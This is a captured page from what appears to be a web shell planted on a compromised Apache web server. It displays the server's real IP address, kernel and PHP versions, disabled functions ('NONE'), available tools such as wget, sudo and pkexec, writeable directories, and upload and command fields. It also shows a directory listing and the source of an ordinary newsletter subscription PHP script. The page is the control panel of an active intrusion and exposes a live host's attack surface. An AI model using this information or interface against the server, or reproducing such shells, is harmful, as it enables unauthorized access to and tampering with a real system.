p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/coming_soong/assets/php/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/coming_soong/assets/php/subscribe.php
<?php

/** 1. MAIN SETTINGS
*******************************************************************/


// SUBSCRIBE FORM MODE [ "file" OR "mailchimp" }
$mode = "file";


/** 1.1. MAIN SETTINGS [ FILE MODE ]
*******************************************************************/


// ENTER PATH TO FILE
$file_path = $_SERVER["DOCUMENT_ROOT"]."/";


// ENTER NAME OF FILE 
$file_name = "subscriber-list.txt";


/** 1.2. MAIN SETTINGS [ MAILCHIMP MODE ]
******************************************************************/


// ENTER MAILCHIMP API KEY
$mailchimp_api_key =  "0f0c157xxxxdbc5619c4xxxxfd8xxxx-us3";

			 
// ENTER MAILCHIMP LIST ID
$mailchimp_list_id =  "3xxexx67xx";


/** 3. MESSAGES
*******************************************************************/


// ENTER ERROR MESSAGE
$varError ="* An error occurred!"; 


// ENTER VALIDATION ERROR MESSAGE
$varErrorValidation ="* This email is invalid!"; 


// ENTER EMPTY ERROR MESSAGE
$varErrorEmpty ="* This Field is required!"; 


// ENTER SUCCESS MESSAGE
$varSuccess ="* Thanks for your interest!"; 


/** 5. MAIN SCRIPT
*******************************************************************/


if ($mode === "mailchimp") { 
	include("MailChimp.php"); 
}

use \DrewM\MailChimp\MailChimp;

if($_POST) {
	
    $subscriber_email = $_POST['email'];
	$subscriber_fhp_input = $_POST['phone'];
	$array = array();
    
    if( $subscriber_email == "" ) {
        
        $array["valid"] = 0;
        $array["message"] = $varErrorEmpty;
        
    } else {

        if( !filter_var($subscriber_email, FILTER_VALIDATE_EMAIL) || $subscriber_fhp_input != "") {

            $array["valid"] = 0;
            $array["message"] = $varErrorValidation;

        } else {

            if ($mode === "file") {

                file_put_contents($file_path.$file_name, strtolower($subscriber_email)."\r\n", FILE_APPEND);

                if (file_exists($file_path.$file_name)) {   

                    $array["valid"] = 1;
                    $array["message"] = $varSuccess;   

                } else {

                    $array["valid"] = 0;
                    $array["message"] = $varError;

                }

            } 

            if ($mode === "mailchimp") {

                $MailChimp = new MailChimp($mailchimp_api_key);

                $result = $MailChimp->post("lists/$mailchimp_list_id/members", [
                        'email_address' => $subscriber_email,
                        'status'        => 'subscribed',
                ]);

                if ($MailChimp->success()) {

                    $array["valid"] = 1;
                    $array["message"] = $varSuccess;

                } else {

                    $array["valid"] = 0;
                    $array["message"] = $varError;

                }

            }

        }
        
    }
	
	echo json_encode($array);

}

?>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 21 2023 09:29:04
1000 / 1000
0755
MailChimp.php
9.877 KB
January 13 2024 08:34:28
1000 / 1000
0755
contact.php
1.8 KB
January 13 2024 08:34:28
1000 / 1000
0755
subscribe.php
2.916 KB
January 13 2024 08:34:28
1000 / 1000
0755